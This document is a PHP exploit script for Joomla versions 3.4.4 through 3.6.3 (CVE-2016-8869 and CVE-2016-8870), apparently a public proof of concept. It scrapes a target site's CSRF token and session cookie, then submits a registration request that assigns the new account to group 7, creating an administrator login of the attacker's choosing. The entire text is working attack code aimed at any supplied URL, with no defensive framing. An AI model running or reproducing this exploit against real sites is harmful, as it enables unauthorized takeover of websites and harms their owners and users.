Joomla 3.4.4 - 3.6.3 exploit for CVE-2016-8869 and CVE-2016-8870

exploit.php

<?php

/*
 * Author: Alexander Grebenschikov <me@package.su>
 * Versions: 3.4.4 through 3.6.3
 * Exploit type: Account Creation, Elevated Privileges
 * CVE Number: CVE-2016-8869, CVE-2016-8870
 * Fixed Date: 2016-October-25
 */

if ($argc < 5) {
  die('Invalid arguments.' . PHP_EOL . 'Usage: ' . PHP_EOL . "\tphp " . $argv[0] . ' http://target.com/joomla_path/ newlogin newpass email@host.ltd' . PHP_EOL);
}

$userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36';

$url = rtrim($argv[1], '/');

$data = file_get_contents($url . '/index.php/component/users/', false, stream_context_create(array(
  'http' => array(
    'method' => 'GET',
    'header'  => 'User-Agent: ' . $userAgent
  )
)));

if (!preg_match('|<input\s+type="hidden"\s+name="([0-9a-f]+)"\s+value="1"\s+/>|sUS', $data, $tokenMatches)) {
  die('Failed while fetching csrf token' . PHP_EOL);
}

foreach ($http_response_header as $header) {
  if (preg_match('|Set-Cookie: ([0-9a-f]{32})=([0-9a-zA-Z]+);|sUS', $header, $cookieMatches)) {
    break;
  }
}

if (!isset($cookieMatches)) {
  die('Failed while fetching csrf cookie' . PHP_EOL);
}

$token = $tokenMatches[1];
$cookie = $cookieMatches[1] . '=' . $cookieMatches[2];

$postdata = http_build_query(array(
  'user' => array(
    'name' => $argv[2],
    'username' => $argv[2],
    'password1' => $argv[3],
    'password2' => $argv[3],
    'email1' => $argv[4],
    'email2' => $argv[4],
    'groups' => [7]
  ),
  'option' => 'com_users',
  'task' => 'user.register',
  $token => 1
));

$headers = array(
  'Content-type: application/x-www-form-urlencoded',
  'User-Agent: ' . $userAgent,
  'Referer: ' . $url . '/index.php/component/users/?view=login',
  'Cookie: ' . $cookie,
  'Content-Length: ' . strlen($postdata)
);

$context  = stream_context_create(array(
  'http' => array(
    'method' => 'POST',
    'header'  => implode("\r\n", $headers),
    'content' => $postdata
  )
));

$result = file_get_contents($url . '/index.php/component/users/', false, $context);
if (preg_match_all('|<div class="alert-message">([^\<]+)</div>|sUS', $result, $errors)) {
  echo 'Potential errors:' . PHP_EOL;
  foreach ($errors[1] as $err) {
    echo "\t" . $err . PHP_EOL;
  }
  echo PHP_EOL;
}

echo 'Done' . PHP_EOL . "\tLogin: " . $argv[2] . PHP_EOL . "\tPasswd: " . $argv[3] . PHP_EOL;